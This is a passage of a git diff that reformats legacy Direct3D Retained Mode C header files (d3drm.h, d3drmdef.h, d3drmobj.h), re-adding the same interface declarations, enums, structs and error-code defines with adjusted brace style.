D3DRMERR_FILENOTFOUND MAKE_DDHRESULT(787) -#define D3DRMERR_BADFILE MAKE_DDHRESULT(788) -#define D3DRMERR_BADDEVICE MAKE_DDHRESULT(789) -#define D3DRMERR_BADVALUE MAKE_DDHRESULT(790) -#define D3DRMERR_BADMAJORVERSION MAKE_DDHRESULT(791) -#define D3DRMERR_BADMINORVERSION MAKE_DDHRESULT(792) -#define D3DRMERR_UNABLETOEXECUTE MAKE_DDHRESULT(793) +#ifndef _LCC__D3DRM_H__ +#define _LCC__D3DRM_H__ +#include "ddraw.h" +#include "d3drmobj.h" +typedef void (*D3DRMDEVICEPALETTECALLBACK)(LPDIRECT3DRMDEVICE,LPVOID,DWORD,LONG,LONG,LONG); +DEFINE_GUID(IID_IDirect3DRM, 0x2bc49361, 0x8327, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +WIN_TYPES(IDirect3DRM, DIRECT3DRM); +STDAPI Direct3DRMCreate(LPDIRECT3DRM *lplpDirect3DRM); +#undef INTERFACE +#define INTERFACE IDirect3DRM +DECLARE_INTERFACE_(IDirect3DRM, IUnknown) +{ + IUNKNOWN_METHODS(PURE); + + STDMETHOD(CreateObject) + (THIS_ REFCLSID rclsid, LPUNKNOWN pUnkOuter, REFIID riid, LPVOID FAR* ppv) PURE; + STDMETHOD(CreateFrame) (THIS_ LPDIRECT3DRMFRAME, LPDIRECT3DRMFRAME *) PURE; + STDMETHOD(CreateMesh) (THIS_ LPDIRECT3DRMMESH *) PURE; + STDMETHOD(CreateMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER *) PURE; + STDMETHOD(CreateFace) (THIS_ LPDIRECT3DRMFACE *) PURE; + STDMETHOD(CreateAnimation) (THIS_ LPDIRECT3DRMANIMATION *) PURE; + STDMETHOD(CreateAnimationSet)(THIS_ LPDIRECT3DRMANIMATIONSET *) PURE; + STDMETHOD(CreateTexture) (THIS_ LPD3DRMIMAGE, LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(CreateLight) (THIS_ D3DRMLIGHTTYPE, D3DCOLOR, LPDIRECT3DRMLIGHT *) PURE; + STDMETHOD(CreateLightRGB) + (THIS_ D3DRMLIGHTTYPE, D3DVALUE, D3DVALUE, D3DVALUE, LPDIRECT3DRMLIGHT *) PURE; + STDMETHOD(CreateMaterial) (THIS_ D3DVALUE, LPDIRECT3DRMMATERIAL *) PURE; + STDMETHOD(CreateDevice) (THIS_ DWORD, DWORD, LPDIRECT3DRMDEVICE *) PURE; + STDMETHOD(CreateDeviceFromSurface) + ( THIS_ LPGUID lpGUID, LPDIRECTDRAW lpDD, + LPDIRECTDRAWSURFACE lpDDSBack, LPDIRECT3DRMDEVICE * + ) PURE; + STDMETHOD(CreateDeviceFromD3D) + ( THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev, + LPDIRECT3DRMDEVICE * + ) PURE; + STDMETHOD(CreateDeviceFromClipper) + ( THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID, + int width, int height, LPDIRECT3DRMDEVICE *) PURE; + STDMETHOD(CreateTextureFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS, LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(CreateShadow) + ( THIS_ LPDIRECT3DRMVISUAL, LPDIRECT3DRMLIGHT, + D3DVALUE px, D3DVALUE py, D3DVALUE pz, + D3DVALUE nx, D3DVALUE ny, D3DVALUE nz, + LPDIRECT3DRMVISUAL * + ) PURE; + STDMETHOD(CreateViewport) + ( THIS_ LPDIRECT3DRMDEVICE, LPDIRECT3DRMFRAME, DWORD, DWORD, + DWORD, DWORD, LPDIRECT3DRMVIEWPORT * + ) PURE; + STDMETHOD(CreateWrap) + ( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME, + D3DVALUE ox, D3DVALUE oy, D3DVALUE oz, + D3DVALUE dx, D3DVALUE dy, D3DVALUE dz, + D3DVALUE ux, D3DVALUE uy, D3DVALUE uz, + D3DVALUE ou, D3DVALUE ov, + D3DVALUE su, D3DVALUE sv, + LPDIRECT3DRMWRAP * + ) PURE; + STDMETHOD(CreateUserVisual) (THIS_ D3DRMUSERVISUALCALLBACK, LPVOID lPArg, LPDIRECT3DRMUSERVISUAL *) PURE; + STDMETHOD(LoadTexture) (THIS_ const char *, LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(LoadTextureFromResource) (THIS_ HRSRC rs, LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(SetSearchPath) (THIS_ LPCSTR) PURE; + STDMETHOD(AddSearchPath) (THIS_ LPCSTR) PURE; + STDMETHOD(GetSearchPath) (THIS_ DWORD *size_return, LPSTR path_return); + STDMETHOD(SetDefaultTextureColors)(THIS_ DWORD) PURE; + STDMETHOD(SetDefaultTextureShades)(THIS_ DWORD) PURE; + STDMETHOD(GetDevices) (THIS_ LPDIRECT3DRMDEVICEARRAY *) PURE; + STDMETHOD(GetNamedObject) (THIS_ const char *, LPDIRECT3DRMOBJECT *) PURE; + STDMETHOD(EnumerateObjects) (THIS_ D3DRMOBJECTCALLBACK, LPVOID) PURE; + STDMETHOD(Load) + ( THIS_ LPVOID, LPVOID, LPIID *, DWORD, D3DRMLOADOPTIONS, + D3DRMLOADCALLBACK, LPVOID, D3DRMLOADTEXTURECALLBACK, LPVOID, + LPDIRECT3DRMFRAME + ) PURE; + STDMETHOD(Tick) (THIS_ D3DVALUE) PURE; +}; +#define D3DRM_OK DD_OK +#define D3DRMERR_BADOBJECT MAKE_DDHRESULT(781) +#define D3DRMERR_BADTYPE MAKE_DDHRESULT(782) +#define D3DRMERR_BADALLOC MAKE_DDHRESULT(783) +#define D3DRMERR_FACEUSED MAKE_DDHRESULT(784) +#define D3DRMERR_NOTFOUND MAKE_DDHRESULT(785) +#define D3DRMERR_NOTDONEYET MAKE_DDHRESULT(786) +#define D3DRMERR_FILENOTFOUND MAKE_DDHRESULT(787) +#define D3DRMERR_BADFILE MAKE_DDHRESULT(788) +#define D3DRMERR_BADDEVICE MAKE_DDHRESULT(789) +#define D3DRMERR_BADVALUE MAKE_DDHRESULT(790) +#define D3DRMERR_BADMAJORVERSION MAKE_DDHRESULT(791) +#define D3DRMERR_BADMINORVERSION MAKE_DDHRESULT(792) +#define D3DRMERR_UNABLETOEXECUTE MAKE_DDHRESULT(793) #endif - + diff --git a/client/d3d/d3drmdef.h b/client/d3d/d3drmdef.h index f4c8f71..112cab0 100644 --- a/client/d3d/d3drmdef.h +++ b/client/d3d/d3drmdef.h @@ -1,208 +1,215 @@ /* $Revision: 1.2 $ */ -#ifndef __D3DRMDEFS_H__ -#define __D3DRMDEFS_H__ -#include -#include "d3dtypes.h" -#define D3DRMAPI __stdcall -#ifndef TRUE -#define FALSE 0 -#define TRUE 1 -#endif -typedef struct _D3DRMVECTOR4D { D3DVALUE x, y, z, w; } D3DRMVECTOR4D, *LPD3DRMVECTOR4D; -typedef D3DVALUE D3DRMMATRIX4D[4][4]; -typedef struct _D3DRMQUATERNION { D3DVALUE s; D3DVECTOR v; } D3DRMQUATERNION, *LPD3DRMQUATERNION; -typedef struct _D3DRMBOX { D3DVECTOR min, max; } D3DRMBOX, *LPD3DRMBOX; -typedef void (*D3DRMWRAPCALLBACK) (LPD3DVECTOR, int*,int* ,LPD3DVECTOR,LPD3DVECTOR,LPVOID); -typedef enum _D3DRMLIGHTTYPE -{ D3DRMLIGHT_AMBIENT, - D3DRMLIGHT_POINT, - D3DRMLIGHT_SPOT, - D3DRMLIGHT_DIRECTIONAL, - D3DRMLIGHT_PARALLELPOINT -} D3DRMLIGHTTYPE, *LPD3DRMLIGHTTYPE; -typedef enum _D3DRMSHADEMODE { - D3DRMSHADE_FLAT = 0, - D3DRMSHADE_GOURAUD = 1, - D3DRMSHADE_PHONG = 2, - D3DRMSHADE_MASK = 7, - D3DRMSHADE_MAX = 8 -} D3DRMSHADEMODE, *LPD3DRMSHADEMODE; -typedef enum _D3DRMLIGHTMODE { - D3DRMLIGHT_OFF = 0 * D3DRMSHADE_MAX, - D3DRMLIGHT_ON = 1 * D3DRMSHADE_MAX, - D3DRMLIGHT_MASK = 7 * D3DRMSHADE_MAX, - D3DRMLIGHT_MAX = 8 * D3DRMSHADE_MAX -} D3DRMLIGHTMODE, *LPD3DRMLIGHTMODE; -typedef enum _D3DRMFILLMODE { - D3DRMFILL_POINTS = 0 * D3DRMLIGHT_MAX, - D3DRMFILL_WIREFRAME = 1 * D3DRMLIGHT_MAX, - D3DRMFILL_SOLID = 2 * D3DRMLIGHT_MAX, - D3DRMFILL_MASK = 7 * D3DRMLIGHT_MAX, - D3DRMFILL_MAX = 8 * D3DRMLIGHT_MAX -} D3DRMFILLMODE, *LPD3DRMFILLMODE; -typedef DWORD D3DRMRENDERQUALITY, *LPD3DRMRENDERQUALITY; -#define D3DRMRENDER_WIREFRAME (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_WIREFRAME) -#define D3DRMRENDER_UNLITFLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_SOLID) -#define D3DRMRENDER_FLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_ON+D3DRMFILL_SOLID) -#define D3DRMRENDER_GOURAUD (D3DRMSHADE_GOURAUD+D3DRMLIGHT_ON+D3DRMFILL_SOLID) -#define D3DRMRENDER_PHONG (D3DRMSHADE_PHONG+D3DRMLIGHT_ON+D3DRMFILL_SOLID) -typedef enum _D3DRMTEXTUREQUALITY -{ D3DRMTEXTURE_NEAREST, - D3DRMTEXTURE_LINEAR, - D3DRMTEXTURE_MIPNEAREST, - D3DRMTEXTURE_MIPLINEAR, - D3DRMTEXTURE_LINEARMIPNEAREST, - D3DRMTEXTURE_LINEARMIPLINEAR -} D3DRMTEXTUREQUALITY, *LPD3DRMTEXTUREQUALITY; -typedef enum _D3DRMCOMBINETYPE -{ D3DRMCOMBINE_REPLACE, - D3DRMCOMBINE_BEFORE, - D3DRMCOMBINE_AFTER -} D3DRMCOMBINETYPE, *LPD3DRMCOMBINETYPE; -typedef D3DCOLORMODEL D3DRMCOLORMODEL, *LPD3DRMCOLORMODEL; -typedef enum _D3DRMPALETTEFLAGS -{ D3DRMPALETTE_FREE, - D3DRMPALETTE_READONLY, - D3DRMPALETTE_RESERVED -} D3DRMPALETTEFLAGS, *LPD3DRMPALETTEFLAGS; -typedef struct _D3DRMPALETTEENTRY -{ unsigned char red; - unsigned char green; - unsigned char blue; - unsigned char flags; -} D3DRMPALETTEENTRY, *LPD3DRMPALETTEENTRY; -typedef struct _D3DRMIMAGE -{ int width, height; - int aspectx, aspecty; - int depth; - int rgb; - int bytes_per_line; - void* buffer1; - void* buffer2; - unsigned long red_mask; - unsigned long green_mask; - unsigned long blue_mask; - unsigned long alpha_mask; - int palette_size; - D3DRMPALETTEENTRY* palette; -} D3DRMIMAGE, *LPD3DRMIMAGE; -typedef enum _D3DRMWRAPTYPE -{ D3DRMWRAP_FLAT, - D3DRMWRAP_CYLINDER, - D3DRMWRAP_SPHERE, - D3DRMWRAP_CHROME -} D3DRMWRAPTYPE, *LPD3DRMWRAPTYPE; -#define D3DRMWIREFRAME_CULL 1 -#define D3DRMWIREFRAME_HIDDENLINE 2 -typedef enum _D3DRMPROJECTIONTYPE -{ D3DRMPROJECT_PERSPECTIVE, - D3DRMPROJECT_ORTHOGRAPHIC -} D3DRMPROJECTIONTYPE, *LPD3DRMPROJECTIONTYPE; -typedef enum _D3DRMXOFFORMAT -{ D3DRMXOF_BINARY, - D3DRMXOF_COMPRESSED, - D3DRMXOF_TEXT -} D3DRMXOFFORMAT, *LPD3DRMXOFFORMAT; -typedef DWORD D3DRMSAVEOPTIONS; -#define D3DRMXOFSAVE_NORMALS 1 -#define D3DRMXOFSAVE_TEXTURECOORDINATES 2 -#define D3DRMXOFSAVE_MATERIALS 4 -#define D3DRMXOFSAVE_TEXTURENAMES 8 -#define D3DRMXOFSAVE_ALL 15 -#define D3DRMXOFSAVE_TEMPLATES 16 -typedef enum _D3DRMCOLORSOURCE -{ D3DRMCOLOR_FROMFACE, - D3DRMCOLOR_FROMVERTEX -} D3DRMCOLORSOURCE, *LPD3DRMCOLORSOURCE; -typedef enum _D3DRMFRAMECONSTRAINT -{ D3DRMCONSTRAIN_Z, - D3DRMCONSTRAIN_Y, - D3DRMCONSTRAIN_X -} D3DRMFRAMECONSTRAINT, *LPD3DRMFRAMECONSTRAINT; -typedef enum _D3DRMMATERIALMODE -{ D3DRMMATERIAL_FROMMESH, - D3DRMMATERIAL_FROMPARENT, - D3DRMMATERIAL_FROMFRAME -} D3DRMMATERIALMODE, *LPD3DRMMATERIALMODE; -typedef enum _D3DRMFOGMODE -{ D3DRMFOG_LINEAR, - D3DRMFOG_EXPONENTIAL, - D3DRMFOG_EXPONENTIALSQUARED -} D3DRMFOGMODE, *LPD3DRMFOGMODE; - -typedef enum _D3DRMZBUFFERMODE { - D3DRMZBUFFER_FROMPARENT, - D3DRMZBUFFER_ENABLE, - D3DRMZBUFFER_DISABLE -} D3DRMZBUFFERMODE, *LPD3DRMZBUFFERMODE; -typedef enum _D3DRMSORTMODE { - D3DRMSORT_FROMPARENT, - D3DRMSORT_NONE, - D3DRMSORT_FRONTTOBACK, - D3DRMSORT_BACKTOFRONT -} D3DRMSORTMODE, *LPD3DRMSORTMODE; -typedef DWORD D3DRMANIMATIONOPTIONS; -#define D3DRMANIMATION_OPEN 1 -#define D3DRMANIMATION_CLOSED 2 -#define D3DRMANIMATION_LINEARPOSITION 4 -#define D3DRMANIMATION_SPLINEPOSITION 8 -#define D3DRMANIMATION_SCALEANDROTATION 16 -#define D3DRMANIMATION_POSITION 32 -typedef DWORD D3DRMLOADOPTIONS; -#define D3DRMLOAD_FROMFILE 0x00L -#define D3DRMLOAD_FROMRESOURCE 0x01L -#define D3DRMLOAD_FROMMEMORY 0x02L -#define D3DRMLOAD_FROMSTREAM 0x04L -#define D3DRMLOAD_BYNAME 0x10L -#define D3DRMLOAD_BYPOSITION 0x20L -#define D3DRMLOAD_BYGUID 0x40L -#define D3DRMLOAD_FIRST 0x80L -#define D3DRMLOAD_INSTANCEBYREFERENCE 0x100L -#define D3DRMLOAD_INSTANCEBYCOPYING 0x200L -typedef struct _D3DRMLOADRESOURCE { - HMODULE hModule; - LPCTSTR lpName; - LPCTSTR lpType; -} D3DRMLOADRESOURCE, *LPD3DRMLOADRESOURCE; -typedef struct _D3DRMLOADMEMORY { - LPVOID lpMemory; - DWORD dSize; -} D3DRMLOADMEMORY, *LPD3DRMLOADMEMORY; -typedef enum _D3DRMUSERVISUALREASON { - D3DRMUSERVISUAL_CANSEE, - D3DRMUSERVISUAL_RENDER -} D3DRMUSERVISUALREASON, *LPD3DRMUSERVISUALREASON; -typedef DWORD D3DRMMAPPING, D3DRMMAPPINGFLAG, *LPD3DRMMAPPING; -static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPU = 1; -static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPV = 2; -static const D3DRMMAPPINGFLAG D3DRMMAP_PERSPCORRECT = 4; -typedef struct _D3DRMVERTEX -{ D3DVECTOR position; - D3DVECTOR normal; - D3DVALUE tu, tv; - D3DCOLOR color; -} D3DRMVERTEX, *LPD3DRMVERTEX; -typedef LONG D3DRMGROUPINDEX; -static const D3DRMGROUPINDEX D3DRMGROUP_ALLGROUPS = -1; -extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGB(D3DVALUE,D3DVALUE,D3DVALUE); -extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGBA(D3DVALUE,D3DVALUE,D3DVALUE,D3DVALUE); -extern D3DVALUE D3DRMAPI D3DRMColorGetRed(D3DCOLOR); -extern D3DVALUE D3DRMAPI D3DRMColorGetGreen(D3DCOLOR); -extern D3DVALUE D3DRMAPI D3DRMColorGetBlue(D3DCOLOR); -extern D3DVALUE D3DRMAPI D3DRMColorGetAlpha(D3DCOLOR); -extern LPD3DVECTOR D3DRMAPI D3DRMVectorAdd(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); -extern LPD3DVECTOR D3DRMAPI D3DRMVectorSubtract(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); -extern LPD3DVECTOR D3DRMAPI D3DRMVectorReflect(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); -extern LPD3DVECTOR D3DRMAPI D3DRMVectorCrossProduct(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); -extern D3DVALUE D3DRMAPI D3DRMVectorDotProduct(LPD3DVECTOR,LPD3DVECTOR); -extern LPD3DVECTOR D3DRMAPI D3DRMVectorNormalize(LPD3DVECTOR); -#define D3DRMVectorNormalise D3DRMVectorNormalize -extern D3DVALUE D3DRMAPI D3DRMVectorModulus(LPD3DVECTOR); -extern LPD3DVECTOR D3DRMAPI D3DRMVectorRotate(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR,D3DVALUE); -extern LPD3DVECTOR D3DRMAPI D3DRMVectorScale(LPD3DVECTOR,LPD3DVECTOR,D3DVALUE); -extern LPD3DVECTOR D3DRMAPI D3DRMVectorRandom(LPD3DVECTOR); -extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionFromRotation(LPD3DRMQUATERNION,LPD3DVECTOR,D3DVALUE); -extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionMultiply(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION); -extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionSlerp(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION,D3DVALUE); -extern void D3DRMAPI D3DRMMatrixFromQuaternion(D3DRMMATRIX4D,LPD3DRMQUATERNION); -#endif +#ifndef __D3DRMDEFS_H__ +#define __D3DRMDEFS_H__ +#include +#include "d3dtypes.h" +#define D3DRMAPI __stdcall +#ifndef TRUE +#define FALSE 0 +#define TRUE 1 +#endif +typedef struct _D3DRMVECTOR4D { + D3DVALUE x, y, z, w; +} D3DRMVECTOR4D, *LPD3DRMVECTOR4D; +typedef D3DVALUE D3DRMMATRIX4D[4][4]; +typedef struct _D3DRMQUATERNION { + D3DVALUE s; + D3DVECTOR v; +} D3DRMQUATERNION, *LPD3DRMQUATERNION; +typedef struct _D3DRMBOX { + D3DVECTOR min, max; +} D3DRMBOX, *LPD3DRMBOX; +typedef void (*D3DRMWRAPCALLBACK) (LPD3DVECTOR, int*,int*,LPD3DVECTOR,LPD3DVECTOR,LPVOID); +typedef enum _D3DRMLIGHTTYPE { + D3DRMLIGHT_AMBIENT, + D3DRMLIGHT_POINT, + D3DRMLIGHT_SPOT, + D3DRMLIGHT_DIRECTIONAL, + D3DRMLIGHT_PARALLELPOINT +} D3DRMLIGHTTYPE, *LPD3DRMLIGHTTYPE; +typedef enum _D3DRMSHADEMODE { + D3DRMSHADE_FLAT = 0, + D3DRMSHADE_GOURAUD = 1, + D3DRMSHADE_PHONG = 2, + D3DRMSHADE_MASK = 7, + D3DRMSHADE_MAX = 8 +} D3DRMSHADEMODE, *LPD3DRMSHADEMODE; +typedef enum _D3DRMLIGHTMODE { + D3DRMLIGHT_OFF = 0 * D3DRMSHADE_MAX, + D3DRMLIGHT_ON = 1 * D3DRMSHADE_MAX, + D3DRMLIGHT_MASK = 7 * D3DRMSHADE_MAX, + D3DRMLIGHT_MAX = 8 * D3DRMSHADE_MAX +} D3DRMLIGHTMODE, *LPD3DRMLIGHTMODE; +typedef enum _D3DRMFILLMODE { + D3DRMFILL_POINTS = 0 * D3DRMLIGHT_MAX, + D3DRMFILL_WIREFRAME = 1 * D3DRMLIGHT_MAX, + D3DRMFILL_SOLID = 2 * D3DRMLIGHT_MAX, + D3DRMFILL_MASK = 7 * D3DRMLIGHT_MAX, + D3DRMFILL_MAX = 8 * D3DRMLIGHT_MAX +} D3DRMFILLMODE, *LPD3DRMFILLMODE; +typedef DWORD D3DRMRENDERQUALITY, *LPD3DRMRENDERQUALITY; +#define D3DRMRENDER_WIREFRAME (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_WIREFRAME) +#define D3DRMRENDER_UNLITFLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_SOLID) +#define D3DRMRENDER_FLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_ON+D3DRMFILL_SOLID) +#define D3DRMRENDER_GOURAUD (D3DRMSHADE_GOURAUD+D3DRMLIGHT_ON+D3DRMFILL_SOLID) +#define D3DRMRENDER_PHONG (D3DRMSHADE_PHONG+D3DRMLIGHT_ON+D3DRMFILL_SOLID) +typedef enum _D3DRMTEXTUREQUALITY { + D3DRMTEXTURE_NEAREST, + D3DRMTEXTURE_LINEAR, + D3DRMTEXTURE_MIPNEAREST, + D3DRMTEXTURE_MIPLINEAR, + D3DRMTEXTURE_LINEARMIPNEAREST, + D3DRMTEXTURE_LINEARMIPLINEAR +} D3DRMTEXTUREQUALITY, *LPD3DRMTEXTUREQUALITY; +typedef enum _D3DRMCOMBINETYPE { + D3DRMCOMBINE_REPLACE, + D3DRMCOMBINE_BEFORE, + D3DRMCOMBINE_AFTER +} D3DRMCOMBINETYPE, *LPD3DRMCOMBINETYPE; +typedef D3DCOLORMODEL D3DRMCOLORMODEL, *LPD3DRMCOLORMODEL; +typedef enum _D3DRMPALETTEFLAGS { + D3DRMPALETTE_FREE, + D3DRMPALETTE_READONLY, + D3DRMPALETTE_RESERVED +} D3DRMPALETTEFLAGS, *LPD3DRMPALETTEFLAGS; +typedef struct _D3DRMPALETTEENTRY { + unsigned char red; + unsigned char green; + unsigned char blue; + unsigned char flags; +} D3DRMPALETTEENTRY, *LPD3DRMPALETTEENTRY; +typedef struct _D3DRMIMAGE { + int width, height; + int aspectx, aspecty; + int depth; + int rgb; + int bytes_per_line; + void* buffer1; + void* buffer2; + unsigned long red_mask; + unsigned long green_mask; + unsigned long blue_mask; + unsigned long alpha_mask; + int palette_size; + D3DRMPALETTEENTRY* palette; +} D3DRMIMAGE, *LPD3DRMIMAGE; +typedef enum _D3DRMWRAPTYPE { + D3DRMWRAP_FLAT, + D3DRMWRAP_CYLINDER, + D3DRMWRAP_SPHERE, + D3DRMWRAP_CHROME +} D3DRMWRAPTYPE, *LPD3DRMWRAPTYPE; +#define D3DRMWIREFRAME_CULL 1 +#define D3DRMWIREFRAME_HIDDENLINE 2 +typedef enum _D3DRMPROJECTIONTYPE { + D3DRMPROJECT_PERSPECTIVE, + D3DRMPROJECT_ORTHOGRAPHIC +} D3DRMPROJECTIONTYPE, *LPD3DRMPROJECTIONTYPE; +typedef enum _D3DRMXOFFORMAT { + D3DRMXOF_BINARY, + D3DRMXOF_COMPRESSED, + D3DRMXOF_TEXT +} D3DRMXOFFORMAT, *LPD3DRMXOFFORMAT; +typedef DWORD D3DRMSAVEOPTIONS; +#define D3DRMXOFSAVE_NORMALS 1 +#define D3DRMXOFSAVE_TEXTURECOORDINATES 2 +#define D3DRMXOFSAVE_MATERIALS 4 +#define D3DRMXOFSAVE_TEXTURENAMES 8 +#define D3DRMXOFSAVE_ALL 15 +#define D3DRMXOFSAVE_TEMPLATES 16 +typedef enum _D3DRMCOLORSOURCE { + D3DRMCOLOR_FROMFACE, + D3DRMCOLOR_FROMVERTEX +} D3DRMCOLORSOURCE, *LPD3DRMCOLORSOURCE; +typedef enum _D3DRMFRAMECONSTRAINT { + D3DRMCONSTRAIN_Z, + D3DRMCONSTRAIN_Y, + D3DRMCONSTRAIN_X +} D3DRMFRAMECONSTRAINT, *LPD3DRMFRAMECONSTRAINT; +typedef enum _D3DRMMATERIALMODE { + D3DRMMATERIAL_FROMMESH, + D3DRMMATERIAL_FROMPARENT, + D3DRMMATERIAL_FROMFRAME +} D3DRMMATERIALMODE, *LPD3DRMMATERIALMODE; +typedef enum _D3DRMFOGMODE { + D3DRMFOG_LINEAR, + D3DRMFOG_EXPONENTIAL, + D3DRMFOG_EXPONENTIALSQUARED +} D3DRMFOGMODE, *LPD3DRMFOGMODE; + +typedef enum _D3DRMZBUFFERMODE { + D3DRMZBUFFER_FROMPARENT, + D3DRMZBUFFER_ENABLE, + D3DRMZBUFFER_DISABLE +} D3DRMZBUFFERMODE, *LPD3DRMZBUFFERMODE; +typedef enum _D3DRMSORTMODE { + D3DRMSORT_FROMPARENT, + D3DRMSORT_NONE, + D3DRMSORT_FRONTTOBACK, + D3DRMSORT_BACKTOFRONT +} D3DRMSORTMODE, *LPD3DRMSORTMODE; +typedef DWORD D3DRMANIMATIONOPTIONS; +#define D3DRMANIMATION_OPEN 1 +#define D3DRMANIMATION_CLOSED 2 +#define D3DRMANIMATION_LINEARPOSITION 4 +#define D3DRMANIMATION_SPLINEPOSITION 8 +#define D3DRMANIMATION_SCALEANDROTATION 16 +#define D3DRMANIMATION_POSITION 32 +typedef DWORD D3DRMLOADOPTIONS; +#define D3DRMLOAD_FROMFILE 0x00L +#define D3DRMLOAD_FROMRESOURCE 0x01L +#define D3DRMLOAD_FROMMEMORY 0x02L +#define D3DRMLOAD_FROMSTREAM 0x04L +#define D3DRMLOAD_BYNAME 0x10L +#define D3DRMLOAD_BYPOSITION 0x20L +#define D3DRMLOAD_BYGUID 0x40L +#define D3DRMLOAD_FIRST 0x80L +#define D3DRMLOAD_INSTANCEBYREFERENCE 0x100L +#define D3DRMLOAD_INSTANCEBYCOPYING 0x200L +typedef struct _D3DRMLOADRESOURCE { + HMODULE hModule; + LPCTSTR lpName; + LPCTSTR lpType; +} D3DRMLOADRESOURCE, *LPD3DRMLOADRESOURCE; +typedef struct _D3DRMLOADMEMORY { + LPVOID lpMemory; + DWORD dSize; +} D3DRMLOADMEMORY, *LPD3DRMLOADMEMORY; +typedef enum _D3DRMUSERVISUALREASON { + D3DRMUSERVISUAL_CANSEE, + D3DRMUSERVISUAL_RENDER +} D3DRMUSERVISUALREASON, *LPD3DRMUSERVISUALREASON; +typedef DWORD D3DRMMAPPING, D3DRMMAPPINGFLAG, *LPD3DRMMAPPING; +static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPU = 1; +static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPV = 2; +static const D3DRMMAPPINGFLAG D3DRMMAP_PERSPCORRECT = 4; +typedef struct _D3DRMVERTEX { + D3DVECTOR position; + D3DVECTOR normal; + D3DVALUE tu, tv; + D3DCOLOR color; +} D3DRMVERTEX, *LPD3DRMVERTEX; +typedef LONG D3DRMGROUPINDEX; +static const D3DRMGROUPINDEX D3DRMGROUP_ALLGROUPS = -1; +extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGB(D3DVALUE,D3DVALUE,D3DVALUE); +extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGBA(D3DVALUE,D3DVALUE,D3DVALUE,D3DVALUE); +extern D3DVALUE D3DRMAPI D3DRMColorGetRed(D3DCOLOR); +extern D3DVALUE D3DRMAPI D3DRMColorGetGreen(D3DCOLOR); +extern D3DVALUE D3DRMAPI D3DRMColorGetBlue(D3DCOLOR); +extern D3DVALUE D3DRMAPI D3DRMColorGetAlpha(D3DCOLOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorAdd(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorSubtract(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorReflect(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorCrossProduct(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); +extern D3DVALUE D3DRMAPI D3DRMVectorDotProduct(LPD3DVECTOR,LPD3DVECTOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorNormalize(LPD3DVECTOR); +#define D3DRMVectorNormalise D3DRMVectorNormalize +extern D3DVALUE D3DRMAPI D3DRMVectorModulus(LPD3DVECTOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorRotate(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR,D3DVALUE); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorScale(LPD3DVECTOR,LPD3DVECTOR,D3DVALUE); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorRandom(LPD3DVECTOR); +extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionFromRotation(LPD3DRMQUATERNION,LPD3DVECTOR,D3DVALUE); +extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionMultiply(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION); +extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionSlerp(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION,D3DVALUE); +extern void D3DRMAPI D3DRMMatrixFromQuaternion(D3DRMMATRIX4D,LPD3DRMQUATERNION); +#endif diff --git a/client/d3d/d3drmobj.h b/client/d3d/d3drmobj.h index e09e970..b7ba611 100644 --- a/client/d3d/d3drmobj.h +++ b/client/d3d/d3drmobj.h @@ -1,14 +1,14 @@ /* $Revision: 1.2 $ */ -#ifndef _LCC_D3DRMOBJ_H_ -#define _LCC_D3DRMOBJ_H_ -#include -#define VIRTUAL -#include "d3drmdef.h" -#include "d3d.h" +#ifndef _LCC_D3DRMOBJ_H_ +#define _LCC_D3DRMOBJ_H_ +#include +#define VIRTUAL +#include "d3drmdef.h" +#include "d3d.h" #define IUNKNOWN_METHODS(kind) \ STDMETHOD(QueryInterface) (THIS_ REFIID riid, LPVOID 